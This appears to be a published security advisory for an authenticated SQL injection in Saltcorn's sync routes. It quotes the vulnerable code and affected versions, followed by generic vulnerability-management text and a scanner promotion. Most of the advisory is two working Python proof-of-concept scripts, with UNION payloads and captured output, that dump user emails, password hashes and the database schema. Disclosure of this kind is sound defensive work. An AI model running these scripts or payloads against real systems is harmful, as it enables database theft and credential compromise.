Saltcorn's mobile-sync routes (POST /sync/load_changes and POST /sync/deletes) interpolate user-controlled values directly into SQL template literals without parameterization, type-casting, or sanitization. Any authenticated user (role_id ≥ 80, the default "user" role) who has read access to at least one table can inject arbitrary SQL, exfiltrate the entire database including admin password hashes, enumerate all table schemas, and—on a PostgreSQL-backed instance—execute write or DDL operations.
Primary: packages/server/routes/sync.js — getSyncRows() function
// Line 68 — maxLoadedId branch (no syncFrom)
where data_tbl."${db.sqlsanitize(pkName)}" > ${syncInfo.maxLoadedId}
// Line 100 — maxLoadedId branch (with syncFrom)
and info_tbl.ref > ${syncInfo.maxLoadedId}
syncInfo is taken verbatim from req.body.syncInfos[tableName]. There is no parseInt(), isFinite(), or parameterized binding applied to maxLoadedId before it is embedded into the SQL string passed to db.query().
db.sqlsanitize() is used elsewhere in the same query to quote identifiers (table and column names) — a correct use — but is never applied to values, and would not prevent injection anyway because it only escapes double-quote characters.
Variant H1-V2: packages/server/routes/sync.js — getDelRows() function (lines 173–190)
// Lines 182-183 — syncUntil and syncFrom come from req.body.syncTimestamp / syncFrom where alias.max < to_timestamp(${syncUntil.valueOf() / 1000.0}) and alias.max > to_timestamp(${syncFrom.valueOf() / 1000.0})
syncUntil = new Date(syncTimestamp) where syncTimestamp comes from req.body. The resulting .valueOf() / 1000.0 is still interpolated as a raw numeric expression.
Route handler: lines 113–170 (/load_changes)
router.post(
"/load_changes",
loggedIn, // <-- only authentication check; no input validation
error_catcher(async (req, res) => {
const { syncInfos, loadUntil } = req.body || {};
...
// syncInfos[tblName].maxLoadedId is passed directly into getSyncRows
Please find the attached script to dump the user's DB using a normal user account.
#!/usr/bin/env python3
import requests
import json
import re
BASE = "http://localhost:3000"
EMAIL = "[email protected]"
PASSWORD = "Abcd1234!"
s = requests.Session()
print("[*] Fetching login page...")
r = s.get(f"{BASE}/auth/login")
match = re.search(r'_sc_globalCsrf = "([^"]+)"', r.text)
csrf_login = match.group(1)
print("[*] Logging in...")
r = s.post(f"{BASE}/auth/login", json={"email": EMAIL, "password": PASSWORD, "_csrf": csrf_login})
print("[*] Extracting authenticated CSRF token...")
r = s.get(f"{BASE}/")
match = re.search(r'_sc_globalCsrf = "([^"]+)"', r.text)
csrf = match.group(1)
print("[*] Dumping users...")
payload = "999 UNION SELECT 1,email,password,CAST(role_id AS TEXT),CAST(id AS TEXT) FROM users--"
body = {"syncInfos": {"notes": {"maxLoadedId": payload}}, "loadUntil": "2030-01-01"}
headers = {"CSRF-Token": csrf, "Content-Type": "application/json"}
r = s.post(f"{BASE}/sync/load_changes", json=body, headers=headers)
if r.status_code == 200:
print(json.dumps(r.json(), indent=2))
else:
print(f"Failed: {r.status_code}")
Output:
(dllm) dllm@dllm:~/Downloads/saltcorn/artifacts/scripts$ python poc_h1_sqli_minimal.py
[*] Fetching login page...
[*] Logging in...
[*] Extracting authenticated CSRF token...
[*] Dumping users...
{
"notes": {
"rows": [
{
"_sync_info_tbl_ref_": "1",
"_sync_info_tbl_last_modified_": "[email protected]",
"_sync_info_tbl_deleted_": "$2a$10$BiEwZkMIpaBrj5yySQhbVuObOp5bpPpfxZYZDtV.VCTv.UxfI7o.6",
"id": "1",
"owner_id": "1"
},
{
"_sync_info_tbl_ref_": "80",
"_sync_info_tbl_last_modified_": "[email protected]",
"_sync_info_tbl_deleted_": "$2a$10$B0WWDy27n1H5D6M0.drOfOlCfp39jcsmk2Ueopx6R3SUwDV/ii0Hm",
"id": "80",
"owner_id": "2"
}
],
"maxLoadedId": "80"
}
}
Use the following script below to dump the schema:
#!/usr/bin/env python3
import requests
import json
import re
BASE = "http://localhost:3000"
EMAIL = "[email protected]"
PASSWORD = "Abcd1234!"
s = requests.Session()
print("[*] Fetching login page...")
r = s.get(f"{BASE}/auth/login")
match = re.search(r'_sc_globalCsrf = "([^"]+)"', r.text)
csrf_login = match.group(1)
print("[*] Logging in...")
r = s.post(f"{BASE}/auth/login", json={"email": EMAIL, "password": PASSWORD, "_csrf": csrf_login})
print("[*] Extracting authenticated CSRF token...")
r = s.get(f"{BASE}/")
match = re.search(r'_sc_globalCsrf = "([^"]+)"', r.text)
csrf = match.group(1)
print("[*] Enumerating database schema...")
payload = "999 UNION SELECT 1,name,type,CAST(sql AS TEXT),NULL FROM sqlite_master WHERE type='table'--"
body = {"syncInfos": {"notes": {"maxLoadedId": payload}}, "loadUntil": "2030-01-01"}
headers = {"CSRF-Token": csrf, "Content-Type": "application/json"}
r = s.post(f"{BASE}/sync/load_changes", json=body, headers=headers)
if r.status_code == 200:
print(json.dumps(r.json(), indent=2))
else:
print(f"HTTP {r.status_code}: {r.text[:500]}")
Output:
(dllm) dllm@dllm:~/Downloads/saltcorn/artifacts/scripts$ python poc_h1_schema_enum.py
[*] Fetching login page...
[*] Logging in...
[*] Extracting authenticated CSRF token...
[*] Enumerating database schema...
{
"notes": {
"rows": [
{
"_sync_info_tbl_ref_": "CREATE TABLE \"notes\" (id integer primary key, owner_id INTEGER)",
"_sync_info_tbl_last_modified_": "notes",
"_sync_info_tbl_deleted_": "table",
"id": "CREATE TABLE \"notes\" (id integer primary key, owner_id INTEGER)",
"owner_id": null
},
<SNIP>
"maxLoadedId": "CREATE TABLE users (\n id integer primary key, \n email VARCHAR(128) not null unique,\n password VARCHAR(60),\n role_id integer not null references _sc_roles(id)\n , reset_password_token text, reset_password_expiry timestamp, \"language\" text, \"disabled\" boolean not null default false, \"api_token\" text, \"_attributes\" json, \"verification_token\" text, \"verified_on\" timestamp, last_mobile_login timestamp)"
}
}
_sc_config, all user-created data, and the full schema.| Software | From | Fixed in |
|---|---|---|
@saltcorn / server
|
- | 1.4.6 |
@saltcorn / server
|
1.5.0-beta.0 | 1.5.6 |
@saltcorn / server
|
1.6.0-alpha.0 | 1.6.0-beta.5 |
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.